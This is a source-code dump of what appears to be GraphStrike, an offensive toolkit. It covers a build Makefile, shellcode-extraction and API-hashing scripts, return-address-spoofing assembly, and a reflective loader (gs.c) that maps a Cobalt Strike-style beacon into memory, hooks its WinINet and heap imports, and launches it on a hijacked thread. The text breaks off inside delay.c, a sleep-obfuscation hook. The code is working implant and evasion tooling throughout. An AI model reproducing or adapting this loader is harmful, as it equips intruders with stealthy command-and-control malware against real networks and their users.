├── .gitignore ├── GraphLdr ├── Makefile ├── bin │ └── .gitignore ├── scripts │ ├── extract.py │ └── hashstring.py └── src │ ├── asm │ ├── misc.asm │ ├── spoof.asm │ └── start.asm │ ├── gs.c │ ├── hooks │ ├── delay.c │ ├── heap.c │ ├── hooks.h │ └── spoof.c │ ├── include.h │ ├── link.ld │ ├── native.h │ ├── retaddr.c │ ├── retaddr.h │ ├── util.c │ └── util.h ├── GraphStrike.py ├── README.md ├── client ├── GraphStrike.cna └── message.py ├── graphstrike.profile ├── inc ├── banner.py ├── common.py ├── cs-decrypt-metadata.py └── manifest.json └── setup ├── install_dependencies.sh ├── provisioner.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.bin 2 | __pycache__/ 3 | *.py[cod] 4 | virtual/ 5 | config.py 6 | config.h -------------------------------------------------------------------------------- /GraphLdr/Makefile: -------------------------------------------------------------------------------- 1 | CC_X64 := x86_64-w64-mingw32-gcc 2 | NAME := GraphLdr 3 | OUT := ../client 4 | 5 | CFLAGS := $(CFLAGS) -Os -fno-asynchronous-unwind-tables -nostdlib 6 | CFLAGS := $(CFLAGS) -fno-ident -fpack-struct=8 -falign-functions=1 7 | CFLAGS := $(CFLAGS) -s -ffunction-sections -falign-jumps=1 -Wall 8 | CFLAGS := $(CFLAGS) -Werror -falign-labels=1 -fPIC -Wno-array-bounds 9 | debug: CFLAGS := $(CFLAGS) -DDEBUG 10 | LFLAGS := $(LFLAGS) -Wl,-s,--no-seh,--enable-stdcall-fixup 11 | LFLAGS := $(LFLAGS) -Wl,--image-base=0,-Tsrc/link.ld 12 | 13 | 14 | default: clean graphldr 15 | debug: clean graphldr 16 | release: default zip 17 | 18 | graphldr: 19 | @ nasm -Werror=all -f win64 src/asm/start.asm -o $(OUT)/start.tmp.o 20 | @ nasm -Werror=all -f win64 src/asm/misc.asm -o $(OUT)/misc.tmp.o 21 | @ nasm -Werror=all -f win64 src/asm/spoof.asm -o $(OUT)/spoof.tmp.o 22 | @ $(CC_X64) src/*.c $(OUT)/start.tmp.o $(OUT)/misc.tmp.o $(OUT)/spoof.tmp.o src/hooks/*.c -o $(OUT)/$(NAME).x64.exe $(CFLAGS) $(LFLAGS) -I. 23 | @ python3 scripts/extract.py -f $(OUT)/$(NAME).x64.exe -o $(OUT)/$(NAME).x64.bin 24 | @ rm $(OUT)/*.tmp.o 2>/dev/null || true 25 | @ rm $(OUT)/$(NAME).x64.exe 2>/dev/null || true 26 | 27 | clean: 28 | @ rm $(OUT)/*.o 2>/dev/null || true 29 | @ rm $(OUT)/*.exe 2>/dev/null || true 30 | @ rm $(OUT)/*.bin 2>/dev/null || true 31 | @ rm $(NAME).zip 2>/dev/null || true 32 | 33 | zip: 34 | @ zip $(NAME).zip $(OUT)/* 35 | -------------------------------------------------------------------------------- /GraphLdr/bin/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore everything in this directory 2 | * 3 | # Except this file 4 | !.gitignore -------------------------------------------------------------------------------- /GraphLdr/scripts/extract.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | 4 | # 5 | # https://github.com/SecIdiot/TitanLdr/blob/master/python3/extract.py 6 | # 7 | 8 | import pefile 9 | import argparse 10 | 11 | if __name__ in '__main__': 12 | try: 13 | parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ); 14 | parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str ); 15 | parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str ); 16 | option = parser.parse_args(); 17 | 18 | PeExe = pefile.PE( option.f ); 19 | PeSec = PeExe.sections[0].get_data(); 20 | 21 | if PeSec.find( b'GRAPHLDR' ) != None: 22 | ScRaw = PeSec[ : PeSec.find( b'GRAPHLDR' ) ]; 23 | f = open( option.o, 'wb+' ); 24 | f.write( ScRaw ); 25 | f.close(); 26 | else: 27 | print('[!] error: no ending tag'); 28 | except Exception as e: 29 | print( '[!] error: {}'.format( e ) ); 30 | -------------------------------------------------------------------------------- /GraphLdr/scripts/hashstring.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | 4 | # 5 | # https://github.com/SecIdiot/TitanLdr/blob/master/python3/hashstring.py 6 | # 7 | 8 | import sys 9 | 10 | def hash_string( string ): 11 | try: 12 | hash = 5381 13 | 14 | for x in string.upper(): 15 | hash = (( hash << 5 ) + hash ) + ord(x) 16 | 17 | return hash & 0xFFFFFFFF 18 | except: 19 | pass 20 | 21 | if __name__ in '__main__': 22 | try: 23 | print('0x%x' % hash_string(sys.argv[1])); 24 | except IndexError: 25 | print('usage: %s [string]' % sys.argv[0]); 26 | -------------------------------------------------------------------------------- /GraphLdr/src/asm/misc.asm: -------------------------------------------------------------------------------- 1 | [BITS 64] 2 | 3 | GLOBAL GetIp 4 | GLOBAL Stub 5 | GLOBAL MemAddr 6 | 7 | 8 | [SECTION .text$C] 9 | 10 | Stub: 11 | dq 0 12 | dq 0 13 | dq 0 14 | 15 | MemAddr: 16 | dq 0 17 | 18 | [SECTION .text$F] 19 | 20 | GetIp: 21 | call get_ret_ptr 22 | 23 | get_ret_ptr: 24 | pop rax 25 | sub rax, 5 26 | ret 27 | 28 | Leave: 29 | db 'G', 'R', 'A', 'P', 'H', 'L', 'D', 'R' 30 | -------------------------------------------------------------------------------- /GraphLdr/src/asm/spoof.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html 3 | ; 4 | 5 | [BITS 64] 6 | 7 | DEFAULT REL 8 | 9 | GLOBAL Spoof 10 | 11 | 12 | [SECTION .text$E] 13 | 14 | Spoof: 15 | pop r11 16 | add rsp, 8 17 | mov rax, [rsp + 24] 18 | mov r10, [rax] 19 | mov [rsp], r10 20 | mov r10, [rax + 8] 21 | mov [rax + 8], r11 22 | mov [rax + 16], rbx 23 | lea rbx, [fixup] 24 | mov [rax], rbx 25 | mov rbx, rax 26 | jmp r10 27 | 28 | fixup: 29 | sub rsp, 16 30 | mov rcx, rbx 31 | mov rbx, [rcx + 16] 32 | jmp QWORD [rcx + 8] 33 | -------------------------------------------------------------------------------- /GraphLdr/src/asm/start.asm: -------------------------------------------------------------------------------- 1 | [BITS 64] 2 | 3 | EXTERN GraphStrike 4 | GLOBAL Start 5 | 6 | [SECTION .text$A] 7 | 8 | Start: 9 | push rsi 10 | mov rsi, rsp 11 | and rsp, 0FFFFFFFFFFFFFFF0h 12 | sub rsp, 020h 13 | call GraphStrike 14 | mov rsp, rsi 15 | pop rsi 16 | ret 17 | -------------------------------------------------------------------------------- /GraphLdr/src/gs.c: -------------------------------------------------------------------------------- 1 | // 2 | // https://github.com/SecIdiot/TitanLdr/blob/master/Main.c 3 | // 4 | 5 | #include "include.h" 6 | 7 | typedef BOOLEAN ( WINAPI * DLLMAIN_T )( 8 | HMODULE ImageBase, 9 | DWORD Reason, 10 | LPVOID Parameter 11 | ); 12 | 13 | typedef struct 14 | { 15 | struct 16 | { 17 | D_API( NtGetContextThread ); 18 | D_API( NtResumeThread ); 19 | D_API( NtSetContextThread ); 20 | D_API( RtlCreateUserThread ); 21 | D_API( RtlUserThreadStart ); 22 | D_API( LdrLoadDll ); 23 | D_API( RtlInitUnicodeString ); 24 | D_API( NtAllocateVirtualMemory ); 25 | D_API( NtProtectVirtualMemory ); 26 | D_API( RtlCreateHeap ); 27 | D_API( NtWaitForSingleObject ); 28 | 29 | } ntdll; 30 | 31 | struct 32 | { 33 | D_API( malloc ); 34 | D_API( memset ); 35 | 36 | } msvcrt; 37 | 38 | struct 39 | { 40 | D_API( MessageBoxA ); 41 | 42 | } user32; 43 | 44 | } API, *PAPI; 45 | 46 | typedef struct 47 | { 48 | SIZE_T Exec; 49 | SIZE_T Full; 50 | PIMAGE_NT_HEADERS NT; 51 | PIMAGE_DOS_HEADER Dos; 52 | 53 | } REG, *PREG; 54 | 55 | #ifndef PTR_TO_HOOK 56 | #define PTR_TO_HOOK( a, b ) C_PTR( U_PTR( a ) + OFFSET( b ) - OFFSET( Stub ) ) 57 | #endif 58 | 59 | #ifndef memcpy 60 | #define memcpy( destination, source, length ) __builtin_memcpy( destination, source, length ); 61 | #endif 62 | 63 | SECTION( B ) NTSTATUS resolveLoaderFunctions( PAPI pApi ) 64 | { 65 | PPEB Peb; 66 | HANDLE hNtdll, hCrt; 67 | 68 | Peb = NtCurrentTeb()->ProcessEnvironmentBlock; 69 | hNtdll = FindModule( H_LIB_NTDLL, Peb, NULL ); 70 | hCrt = FindModule( H_LIB_MSVCRT, Peb, NULL ); 71 | 72 | if( !hNtdll ) 73 | { 74 | return -1; 75 | }; 76 | 77 | pApi->ntdll.NtAllocateVirtualMemory = FindFunction( hNtdll, H_API_NTALLOCATEVIRTUALMEMORY ); 78 | pApi->ntdll.NtProtectVirtualMemory = FindFunction( hNtdll, H_API_NTPROTECTVIRTUALMEMORY ); 79 | pApi->ntdll.RtlCreateHeap = FindFunction( hNtdll, H_API_RTLCREATEHEAP ); 80 | pApi->ntdll.LdrLoadDll = FindFunction( hNtdll, H_API_LDRLOADDLL ); 81 | pApi->ntdll.RtlInitUnicodeString = FindFunction( hNtdll, H_API_RTLINITUNICODESTRING ); 82 | 83 | pApi->msvcrt.malloc = FindFunction( hCrt, H_API_MALLOC); 84 | pApi->msvcrt.memset = FindFunction( hCrt, H_API_MEMSET); 85 | 86 | if( !pApi->ntdll.NtAllocateVirtualMemory || 87 | !pApi->ntdll.NtProtectVirtualMemory || 88 | !pApi->ntdll.LdrLoadDll || 89 | !pApi->ntdll.RtlInitUnicodeString || 90 | !pApi->ntdll.RtlCreateHeap || 91 | !pApi->msvcrt.malloc || 92 | !pApi->msvcrt.memset ) 93 | { 94 | return -1; 95 | }; 96 | 97 | return STATUS_SUCCESS; 98 | }; 99 | 100 | SECTION( B ) VOID calculateRegions( PREG pReg ) 101 | { 102 | SIZE_T ILn = 0; 103 | 104 | pReg->Dos = C_PTR( G_END() ); 105 | pReg->NT = C_PTR( U_PTR( pReg->Dos ) + pReg->Dos->e_lfanew ); 106 | 107 | ILn = ( ( ( pReg->NT->OptionalHeader.SizeOfImage ) + 0x1000 - 1 ) &~( 0x1000 - 1 ) ); 108 | pReg->Exec = ( ( ( G_END() - OFFSET( Stub ) ) + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ); 109 | pReg->Full = ILn + pReg->Exec; 110 | 111 | return; 112 | }; 113 | 114 | SECTION( B ) VOID copyStub( PVOID buffer ) 115 | { 116 | PVOID Destination = buffer; 117 | PVOID Source = C_PTR( OFFSET( Stub ) ); 118 | DWORD Length = U_PTR( G_END() - OFFSET( Stub ) ); 119 | 120 | memcpy( Destination, Source, Length ); 121 | }; 122 | 123 | SECTION( B ) PVOID copyBeaconSections( PVOID buffer, REG reg ) 124 | { 125 | PVOID Map; 126 | PIMAGE_SECTION_HEADER Sec; 127 | PVOID Destination; 128 | PVOID Source; 129 | DWORD Length; 130 | 131 | Map = C_PTR( U_PTR( buffer ) + reg.Exec ); 132 | Sec = IMAGE_FIRST_SECTION( reg.NT ); 133 | 134 | for( int i = 0; i < reg.NT->FileHeader.NumberOfSections; ++i ) 135 | { 136 | Destination = C_PTR( U_PTR( Map ) + Sec[i].VirtualAddress ); 137 | Source = C_PTR( U_PTR( reg.Dos ) + Sec[i].PointerToRawData ); 138 | Length = Sec[i].SizeOfRawData; 139 | memcpy( Destination, Source, Length ); 140 | }; 141 | 142 | return Map; 143 | }; 144 | 145 | SECTION( B ) VOID installHooks( PVOID map, PVOID buffer, PIMAGE_NT_HEADERS nt ) 146 | { 147 | PIMAGE_DATA_DIRECTORY Dir = Dir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 148 | if( Dir->VirtualAddress ) 149 | { 150 | LdrProcessIat( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ) ); 151 | 152 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_GETPROCESSHEAP, PTR_TO_HOOK( buffer, GetProcessHeap_Hook ) ); 153 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_RTLALLOCATEHEAP, PTR_TO_HOOK( buffer, RtlAllocateHeap_Hook ) ); 154 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_HEAPALLOC, PTR_TO_HOOK( buffer, HeapAlloc_Hook ) ); 155 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_INTERNETCONNECTA, PTR_TO_HOOK( buffer, InternetConnectA_Hook ) ); 156 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_HTTPOPENREQUESTA, PTR_TO_HOOK( buffer, HttpOpenRequestA_Hook ) ); 157 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_HTTPSENDREQUESTA, PTR_TO_HOOK( buffer, HttpSendRequestA_Hook ) ); 158 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_INTERNETREADFILE, PTR_TO_HOOK( buffer, InternetReadFile_Hook ) ); 159 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_NTWAITFORSINGLEOBJECT, PTR_TO_HOOK( buffer, NtWaitForSingleObject_Hook ) ); 160 | LdrHookImport( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), H_API_SLEEP, PTR_TO_HOOK( buffer, Sleep_Hook ) ); 161 | }; 162 | 163 | Dir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 164 | 165 | if( Dir->VirtualAddress ) 166 | { 167 | LdrProcessRel( C_PTR( map ), C_PTR( U_PTR( map ) + Dir->VirtualAddress ), C_PTR( nt->OptionalHeader.ImageBase ) ); 168 | }; 169 | }; 170 | 171 | SECTION( B ) VOID fillStub( PVOID buffer, HANDLE heap, SIZE_T region ) 172 | { 173 | PSTUB Stub = ( PSTUB )buffer; 174 | 175 | Stub->Region = U_PTR( buffer ); 176 | Stub->Size = U_PTR( region ); 177 | Stub->Heap = heap; 178 | }; 179 | 180 | SECTION( B ) VOID executeBeacon( PVOID entry ) 181 | { 182 | DLLMAIN_T Ent = entry; 183 | Ent( ( HMODULE )OFFSET( Start ), 1, NULL ); 184 | Ent( ( HMODULE )OFFSET( Start ), 4, NULL ); 185 | }; 186 | 187 | SECTION( B ) NTSTATUS resolveGraphStrikeFunctions( PAPI pApi, struct MemAddrs* pMemAddrs ) 188 | { 189 | PPEB Peb; 190 | HANDLE hK32; 191 | HANDLE hCrt; 192 | UNICODE_STRING Uni; 193 | 194 | Peb = NtCurrentTeb()->ProcessEnvironmentBlock; 195 | pMemAddrs->Api.ntdll.hNtdll = FindModule( H_LIB_NTDLL, Peb, &pMemAddrs->Api.ntdll.size ); 196 | pMemAddrs->Api.net.hNet = FindModule( H_LIB_WININET, Peb, &pMemAddrs->Api.net.size ); 197 | hK32 = FindModule( H_LIB_KERNEL32, Peb, NULL ); 198 | hCrt = FindModule( H_LIB_MSVCRT, Peb, NULL ); 199 | 200 | if( !pMemAddrs->Api.ntdll.hNtdll || !hK32 ) 201 | { 202 | return -1; 203 | }; 204 | 205 | // Ntdll 206 | pMemAddrs->Api.ntdll.RtlAllocateHeap = FindFunction( pMemAddrs->Api.ntdll.hNtdll, H_API_RTLALLOCATEHEAP ); 207 | pMemAddrs->Api.ntdll.NtWaitForSingleObject = FindFunction( pMemAddrs->Api.ntdll.hNtdll, H_API_NTWAITFORSINGLEOBJECT ); 208 | 209 | // Kernel32 210 | pMemAddrs->Api.k32.QueryPerformanceCounter = FindFunction( hK32, H_API_QUERYPERFORMANCECOUNTER); 211 | pMemAddrs->Api.k32.QueryPerformanceFrequency = FindFunction( hK32, H_API_QUERYPERFORMANCEFREQUENCY); 212 | pMemAddrs->Api.k32.GetLastError = FindFunction( hK32, H_API_GETLASTERROR); 213 | pMemAddrs->Api.k32.SetLastError = FindFunction( hK32, H_API_SETLASTERROR); 214 | pMemAddrs->Api.k32.Sleep = FindFunction(hK32, H_API_SLEEP); 215 | 216 | // Wininet 217 | if( !pMemAddrs->Api.net.hNet ) 218 | { 219 | pApi->ntdll.RtlInitUnicodeString( &Uni, C_PTR( OFFSET( L"wininet.dll" ) ) ); 220 | pApi->ntdll.LdrLoadDll( NULL, 0, &Uni, &pMemAddrs->Api.net.hNet ); 221 | if ( !pMemAddrs->Api.net.hNet ) 222 | return -1; 223 | 224 | // Now call FindModule again to populate pMemAddrs with the size of the module 225 | pMemAddrs->Api.net.hNet = FindModule( H_LIB_WININET, Peb, &pMemAddrs->Api.net.size ); 226 | } 227 | 228 | pMemAddrs->Api.net.InternetConnectA = FindFunction(pMemAddrs->Api.net.hNet, H_API_INTERNETCONNECTA); 229 | pMemAddrs->Api.net.HttpOpenRequestA = FindFunction(pMemAddrs->Api.net.hNet, H_API_HTTPOPENREQUESTA); 230 | pMemAddrs->Api.net.HttpSendRequestA = FindFunction(pMemAddrs->Api.net.hNet, H_API_HTTPSENDREQUESTA); 231 | pMemAddrs->Api.net.InternetReadFile = FindFunction(pMemAddrs->Api.net.hNet, H_API_INTERNETREADFILE); 232 | pMemAddrs->Api.net.InternetCloseHandle = FindFunction(pMemAddrs->Api.net.hNet, H_API_INTERNETCLOSEHANDLE); 233 | 234 | #ifdef DEBUG 235 | // User32 236 | HANDLE hU32 = FindModule( H_LIB_USER32, Peb, NULL ); 237 | if( !hU32 ) 238 | { 239 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); 240 | pApi->ntdll.RtlInitUnicodeString( &Uni, C_PTR( OFFSET( L"user32.dll" ) ) ); 241 | pApi->ntdll.LdrLoadDll( NULL, 0, &Uni, &hU32 ); 242 | if ( !hU32 ) 243 | return -1; 244 | }; 245 | 246 | pMemAddrs->Api.user32.MessageBoxA = FindFunction( hU32, H_API_MESSAGEBOXA); 247 | #endif 248 | 249 | pMemAddrs->Api.msvcrt.strlen = FindFunction( hCrt, H_API_STRLEN); 250 | pMemAddrs->Api.msvcrt.malloc = FindFunction( hCrt, H_API_MALLOC); 251 | pMemAddrs->Api.msvcrt.calloc = FindFunction( hCrt, H_API_CALLOC); 252 | pMemAddrs->Api.msvcrt.memset = FindFunction( hCrt, H_API_MEMSET); 253 | pMemAddrs->Api.msvcrt.memcpy = FindFunction( hCrt, H_API_MEMCPY); 254 | pMemAddrs->Api.msvcrt.strstr = FindFunction( hCrt, H_API_STRSTR); 255 | pMemAddrs->Api.msvcrt.sprintf = FindFunction( hCrt, H_API_SPRINTF); 256 | pMemAddrs->Api.msvcrt.free = FindFunction( hCrt, H_API_FREE); 257 | pMemAddrs->Api.msvcrt.strcpy = FindFunction( hCrt, H_API_STRCPY); 258 | pMemAddrs->Api.msvcrt.strcmp = FindFunction( hCrt, H_API_STRCMP); 259 | pMemAddrs->Api.msvcrt.isdigit = FindFunction( hCrt, H_API_ISDIGIT); 260 | pMemAddrs->Api.msvcrt.tolower = FindFunction( hCrt, H_API_TOLOWER); 261 | 262 | if( !pMemAddrs->Api.k32.QueryPerformanceCounter || 263 | !pMemAddrs->Api.k32.QueryPerformanceFrequency || 264 | !pMemAddrs->Api.k32.Sleep || 265 | !pMemAddrs->Api.msvcrt.strlen || 266 | !pMemAddrs->Api.msvcrt.malloc || 267 | !pMemAddrs->Api.msvcrt.calloc || 268 | !pMemAddrs->Api.msvcrt.memset || 269 | !pMemAddrs->Api.msvcrt.memcpy || 270 | !pMemAddrs->Api.msvcrt.strstr || 271 | !pMemAddrs->Api.msvcrt.sprintf || 272 | !pMemAddrs->Api.msvcrt.free || 273 | !pMemAddrs->Api.msvcrt.strcpy || 274 | !pMemAddrs->Api.msvcrt.strcmp || 275 | !pMemAddrs->Api.msvcrt.isdigit || 276 | !pMemAddrs->Api.msvcrt.tolower || 277 | !pMemAddrs->Api.net.InternetConnectA || 278 | !pMemAddrs->Api.net.HttpOpenRequestA || 279 | !pMemAddrs->Api.net.HttpSendRequestA || 280 | !pMemAddrs->Api.net.InternetReadFile ) 281 | { 282 | return -1; 283 | }; 284 | 285 | return STATUS_SUCCESS; 286 | }; 287 | 288 | SECTION( B ) VOID Loader( VOID ) 289 | { 290 | API Api; 291 | REG Reg; 292 | NTSTATUS Status; 293 | PVOID MemoryBuffer; 294 | PVOID Map; 295 | HANDLE BeaconHeap; 296 | ULONG OldProtection = 0; 297 | 298 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 299 | RtlSecureZeroMemory( &Reg, sizeof( Reg ) ); 300 | 301 | if( resolveLoaderFunctions( &Api ) == STATUS_SUCCESS ) 302 | { 303 | calculateRegions( &Reg ); 304 | Status = Api.ntdll.NtAllocateVirtualMemory( ( HANDLE )-1, &MemoryBuffer, 0, &Reg.Full, MEM_COMMIT, PAGE_READWRITE ); 305 | if( Status == STATUS_SUCCESS ) 306 | { 307 | copyStub( MemoryBuffer ); 308 | Map = copyBeaconSections( MemoryBuffer, Reg ); 309 | BeaconHeap = Api.ntdll.RtlCreateHeap( HEAP_GROWABLE, NULL, 0, 0, NULL, NULL ); 310 | fillStub( MemoryBuffer, BeaconHeap, Reg.Full ); 311 | installHooks( Map, MemoryBuffer, Reg.NT ); 312 | 313 | // Create MemAddr struct to contain important values for GraphStrike 314 | struct MemAddrs *pMemAddrs = Api.msvcrt.malloc(sizeof(struct MemAddrs)); 315 | Api.msvcrt.memset(pMemAddrs, 0, sizeof(struct MemAddrs)); 316 | pMemAddrs->graphStrike = (BOOL) U_PTR ( NULL ); 317 | pMemAddrs->firstGet = TRUE; 318 | pMemAddrs->firstPost = TRUE; 319 | pMemAddrs->readTasking = FALSE; 320 | pMemAddrs->lastTokenTime = 0; 321 | 322 | // Resolve GraphStrike functions for later use 323 | resolveGraphStrikeFunctions(&Api, pMemAddrs); 324 | 325 | // Store pointer to pMemAddrs for later reference 326 | // We want to write AFTER Stub, which means 24 bytes (sizeof STUB) after MemoryBuffer. 327 | // Sizeof(PMEMADDR) is 8, so add 3 which is really 3x8 = 24. 328 | PMEMADDR MemAddr = ( PMEMADDR )MemoryBuffer + 3; 329 | MemAddr->address = (PVOID*)&pMemAddrs; 330 | 331 | // Now that we are done writing, we can toggle memory protections to RX 332 | Reg.Exec += IMAGE_FIRST_SECTION( Reg.NT )->SizeOfRawData; 333 | Status = Api.ntdll.NtProtectVirtualMemory( ( HANDLE )-1, &MemoryBuffer, &Reg.Exec, PAGE_EXECUTE_READ, &OldProtection ); 334 | if( Status == STATUS_SUCCESS ) 335 | { 336 | executeBeacon( C_PTR( U_PTR( Map ) + Reg.NT->OptionalHeader.AddressOfEntryPoint ) ); 337 | }; 338 | }; 339 | }; 340 | }; 341 | 342 | SECTION( B ) NTSTATUS resolveAPIs( PAPI pApi ) 343 | { 344 | PPEB Peb; 345 | HANDLE hNtdll; 346 | HANDLE hCrt; 347 | UNICODE_STRING Uni; 348 | 349 | Peb = NtCurrentTeb()->ProcessEnvironmentBlock; 350 | hNtdll = FindModule( H_LIB_NTDLL, Peb, NULL ); 351 | hCrt = FindModule( H_LIB_MSVCRT, Peb, NULL ); 352 | 353 | if( !hNtdll ) 354 | { 355 | return -1; 356 | }; 357 | 358 | pApi->ntdll.NtGetContextThread = FindFunction( hNtdll, H_API_NTGETCONTEXTTHREAD ); 359 | pApi->ntdll.NtSetContextThread = FindFunction( hNtdll, H_API_NTSETCONTEXTTHREAD ); 360 | pApi->ntdll.NtResumeThread = FindFunction( hNtdll, H_API_NTRESUMETHREAD ); 361 | pApi->ntdll.RtlUserThreadStart = FindFunction( hNtdll, H_API_RTLUSERTHREADSTART ); 362 | pApi->ntdll.RtlCreateUserThread = FindFunction( hNtdll, H_API_RTLCREATEUSERTHREAD ); 363 | pApi->ntdll.LdrLoadDll = FindFunction( hNtdll, H_API_LDRLOADDLL ); 364 | pApi->ntdll.RtlInitUnicodeString = FindFunction( hNtdll, H_API_RTLINITUNICODESTRING ); 365 | pApi->ntdll.NtWaitForSingleObject = FindFunction( hNtdll, H_API_NTWAITFORSINGLEOBJECT ); 366 | 367 | if( !hCrt ) 368 | { 369 | pApi->ntdll.RtlInitUnicodeString( &Uni, C_PTR( OFFSET( L"msvcrt.dll" ) ) ); 370 | pApi->ntdll.LdrLoadDll( NULL, 0, &Uni, &hCrt ); 371 | if ( !hCrt ) 372 | { 373 | return -1; 374 | } 375 | }; 376 | 377 | pApi->msvcrt.malloc = FindFunction( hCrt, H_API_MALLOC); 378 | pApi->msvcrt.memset = FindFunction( hCrt, H_API_MEMSET); 379 | 380 | if( !pApi->ntdll.NtGetContextThread || 381 | !pApi->ntdll.NtSetContextThread || 382 | !pApi->ntdll.NtResumeThread || 383 | !pApi->ntdll.RtlUserThreadStart || 384 | !pApi->ntdll.RtlCreateUserThread || 385 | !pApi->ntdll.NtWaitForSingleObject || 386 | !pApi->msvcrt.malloc || 387 | !pApi->msvcrt.memset ) 388 | { 389 | return -1; 390 | }; 391 | 392 | return STATUS_SUCCESS; 393 | }; 394 | 395 | SECTION( B ) NTSTATUS createBeaconThread( PAPI pApi, PHANDLE thread ) 396 | { 397 | BOOL Suspended = TRUE; 398 | PVOID StartAddress = C_PTR( pApi->ntdll.RtlUserThreadStart + 0x21 ); 399 | 400 | return pApi->ntdll.RtlCreateUserThread( ( HANDLE )-1, NULL, Suspended, 0, 0, 0, ( PUSER_THREAD_START_ROUTINE )StartAddress, NULL, thread, NULL ); 401 | }; 402 | 403 | SECTION( B ) VOID GraphStrike( VOID ) 404 | { 405 | API Api; 406 | CONTEXT Ctx; 407 | HANDLE Thread; 408 | 409 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 410 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 411 | 412 | if( resolveAPIs( &Api ) == STATUS_SUCCESS ) 413 | { 414 | if( NT_SUCCESS( createBeaconThread( &Api, &Thread ) ) ) 415 | { 416 | Ctx.ContextFlags = CONTEXT_CONTROL; 417 | Api.ntdll.NtGetContextThread( Thread, &Ctx ); 418 | Ctx.Rip = ( DWORD64 )C_PTR( Loader ); 419 | 420 | Api.ntdll.NtSetContextThread( Thread, &Ctx ); 421 | 422 | Api.ntdll.NtResumeThread( Thread, NULL ); 423 | 424 | // This differs from the original AceLdr, waiting here or else process will exit in many loaders 425 | Api.ntdll.NtWaitForSingleObject( Thread, FALSE, NULL); 426 | }; 427 | }; 428 | 429 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 430 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 431 | }; -------------------------------------------------------------------------------- /GraphLdr/src/hooks/delay.c: -------------------------------------------------------------------------------- 1 | // 2 | // https://github.com/SecIdiot/FOLIAGE 3 | // 4 | 5 | 6 | #include "hooks.h" 7 | 8 | #define KEY_SIZE 16 9 | #define KEY_VALS "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789" 10 | 11 | 12 | typedef struct { 13 | struct 14 | { 15 | D_API( LdrGetProcedureAddress ); 16 | D_API( LdrLoadDll ); 17 | D_API( LdrUnloadDll ); 18 | D_API( NtAlertResumeThread ); 19 | D_API( NtClose ); 20 | D_API( NtContinue ); 21 | D_API( NtCreateEvent ); 22 | D_API( NtCreateThreadEx ); 23 | D_API( NtGetContextThread ); 24 | D_API( NtOpenThread ); 25 | D_API( NtProtectVirtualMemory ); 26 | D_API( NtQueryInformationProcess ); 27 | D_API( NtQueueApcThread ); 28 | D_API( NtSetContextThread ); 29 | D_API( NtSignalAndWaitForSingleObject ); 30 | D_API( NtTerminateThread ); 31 | D_API( NtTestAlert ); 32 | D_API( NtWaitForSingleObject ); 33 | D_API( RtlAllocateHeap ); 34 | D_API( RtlExitUserThread ); 35 | D_API( RtlFreeHeap ); 36 | D_API( RtlInitAnsiString ); 37 | D_API( RtlInitUnicodeString ); 38 | D_API( RtlRandomEx ); 39 | D_API( RtlUserThreadStart ); 40 | D_API( RtlWalkHeap ); 41 | 42 | } ntdll; 43 | 44 | struct 45 | { 46 | D_API( SetProcessValidCallTargets ); 47 | 48 | } kb; 49 | 50 | struct 51 | { 52 | D_API( WaitForSingleObjectEx ); 53 | 54 | } k32; 55 | 56 | struct 57 | { 58 | D_API( SystemFunction032 ); 59 | 60 | } advapi; 61 | 62 | HANDLE hNtdll; 63 | HANDLE hK32; 64 | HANDLE hAdvapi; 65 | ULONG szNtdll; 66 | 67 | PVOID Buffer; 68 | ULONG Length; 69 | NTSTATUS CFG; 70 | DWORD dwMilliseconds; 71 | UCHAR enckey[KEY_SIZE]; 72 | 73 | } API, *PAPI; 74 | 75 | 76 | SECTION( D ) BOOL isCFGEnforced( PAPI pApi ) 77 | { 78 | EXTENDED_PROCESS_INFORMATION PrInfo = { 0 }; 79 | 80 | if( pApi->ntdll.NtQueryInformationProcess && pApi->kb.SetProcessValidCallTargets ) 81 | { 82 | PrInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; 83 | PrInfo.ExtendedProcessInfoBuffer = 0; 84 | 85 | if( pApi->ntdll.NtQueryInformationProcess( ( ( HANDLE )-1 ), ProcessCookie | ProcessUserModeIOPL, &PrInfo, sizeof( PrInfo ), NULL ) == STATUS_SUCCESS ) 86 | { 87 | return TRUE; 88 | }; 89 | }; 90 | 91 | return FALSE; 92 | }; 93 | 94 | SECTION( D ) NTSTATUS setValidCallTargets( PAPI pApi, HANDLE 